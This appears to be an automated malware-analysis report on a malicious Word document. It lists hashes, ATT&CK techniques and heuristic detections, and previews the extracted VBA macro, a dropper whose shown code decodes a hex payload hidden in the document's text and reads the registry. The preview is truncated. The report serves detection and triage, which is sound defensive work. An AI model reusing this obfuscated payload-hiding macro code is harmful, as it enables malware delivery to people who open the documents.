Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 55f8d95fc330b1e9…

MALICIOUS

Office (OLE)

3.37 MB Created: 2019-01-21 02:25:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: 4c30e792218d5526f6499d235448bdd9 SHA-1: 8b599ecdbec12a5bd76cf290f9297f13e8397d56 SHA-256: 55f8d95fc330b1e9519dc572e4acf8e751387c090f7a640b8ec0257a006212bb
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes CreateObject and GetObject calls. This indicates the macro is designed to execute code, likely to download and run a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6919290-0' further supports its role as a dropper. No specific family could be identified, but the techniques used are common for macro-based malware delivery.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6919290-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6919290-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24027 bytes
SHA-256: af624987a00c13b856957536531b7451a7c62c71a8bfc6d98a7587c95a235411
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Function cJzDHgXGcr8Eu82LjZ5stJw1oaIZnVqBTTNEtfLw(ByVal strAscii As String) As Byte

    Dim kvEw4KGNGM0k4SV0w0zFjUPqZzswt4QpNAWC0GSC As Byte
    Dim Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe As Byte
    Dim gd5GkTN9yuWM7mkM0tbpdPi7OUOGV3C0Okf44Eh3 As String * 1

    kvEw4KGNGM0k4SV0w0zFjUPqZzswt4QpNAWC0GSC = 0
    If (Len(strAscii) = 1) Then
        gd5GkTN9yuWM7mkM0tbpdPi7OUOGV3C0Okf44Eh3 = Mid(strAscii, 1, 1)
        Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe = Asc(gd5GkTN9yuWM7mkM0tbpdPi7OUOGV3C0Okf44Eh3)
        If (Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe >= 65 And Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe <= 70) Then
            Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe = Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe - 65 + 10
        Else
            Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe = Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe - 48
        End If
        kvEw4KGNGM0k4SV0w0zFjUPqZzswt4QpNAWC0GSC = Wk470LifqOKXDE3rHexwhajCWByuXi0R9YJ_PHqe
    End If
    cJzDHgXGcr8Eu82LjZ5stJw1oaIZnVqBTTNEtfLw = kvEw4KGNGM0k4SV0w0zFjUPqZzswt4QpNAWC0GSC

End Function

Private Function GLifuze_GBojIRnucyfyzZii1xLCmoi3dANIqhxQ(cb As Integer) As String

    Randomize
    Dim PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz As String
    PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz = "abcdefghijklmnopqrstuvwxyz"
    PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz = PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz & UCase(PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz) & "0123456789"

    For i = 1 To cb
        RandomString = RandomString & Mid$(PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz, Int(Rnd() * Len(PnXsmeJODY_mv00sVZTq56etTWZO6fHmb8BQSRMz) + 1), 1)
    Next

    GLifuze_GBojIRnucyfyzZii1xLCmoi3dANIqhxQ = RandomString

End Function

Private Function WJjNw7T1vjrW0eYHs_eWOCDhjl584G3W_pBRGwNU() As String
    Dim a_2X4gvOjNa6MSZI9tzrgWHnhDamqaB3cjf54ipC As Document
    Dim qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI As String
    Dim j1tC7fe6rJh4hi1W8XgESsxLaS0FAglXI6GEE691 As String * 1
    Dim CdUBYLE6Xs7_B08SuIrgezyaolnbCni1Of1EzXOq As String * 1
    Dim dVI79llHYPaWGTO3HKdCnsuza6cm_ujyV02jRp12 As Byte
    Dim KhU1yuNJYhTJsZT__LhAlI4YNG6AAmyJNaiT5GW2 As Byte
    Dim QjHACuQKhDHtqMs2dXfSnd9CK9WiG0VkQfK20umi As Long
    Dim RnjXF4j0IgF9r4FDa5Rsxy3gInEb1q1JAX0_VcXG As Long
    Dim RWAqlLTLA7TWEVLjj2fhq7ZieXzv3FJY8aBDXEVY As String
    Dim vUBVy65GbHHSXFfJXibpboHWoVNtj8nF7hNyy3L8 As String
    Dim RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy As String

    qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI = ActiveDocument.Paragraphs(ActiveDocument.Paragraphs.Count - 5).Range.Text
    RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy = ""
    For i = 1 To Len(qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI) - 1 Step 2
        j1tC7fe6rJh4hi1W8XgESsxLaS0FAglXI6GEE691 = Mid(qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI, i, 1)
        CdUBYLE6Xs7_B08SuIrgezyaolnbCni1Of1EzXOq = Mid(qbvj5AAk9UHohkjfjGGr69n8c6UtCUER4Y04rohI, i + 1, 1)
        dVI79llHYPaWGTO3HKdCnsuza6cm_ujyV02jRp12 = cJzDHgXGcr8Eu82LjZ5stJw1oaIZnVqBTTNEtfLw(j1tC7fe6rJh4hi1W8XgESsxLaS0FAglXI6GEE691)
        KhU1yuNJYhTJsZT__LhAlI4YNG6AAmyJNaiT5GW2 = cJzDHgXGcr8Eu82LjZ5stJw1oaIZnVqBTTNEtfLw(CdUBYLE6Xs7_B08SuIrgezyaolnbCni1Of1EzXOq)
        Value = dVI79llHYPaWGTO3HKdCnsuza6cm_ujyV02jRp12 * 16 + KhU1yuNJYhTJsZT__LhAlI4YNG6AAmyJNaiT5GW2
        RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy = RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy & Chr(Value)
    Next i
    
    WJjNw7T1vjrW0eYHs_eWOCDhjl584G3W_pBRGwNU = RUjnZS0uVSHFtwM6cGyDjCm3k1LGSJcTy2xi5kXy

End Function

Private Function GK72Xm2ZD5fr3C2j51tb1LXPfwWCE60Xdkg3vAkY(lzTMjTNJdrnlaZch3SIlndBhJFJuLWar4mKaHrae, regKey)
    On Error Resume Next
    lzTMjTNJdrnlaZch3SIlndBhJFJuLWar4mKaHrae.RegRead regKey
    GK72Xm2ZD5fr3C2j51tb
... (truncated)

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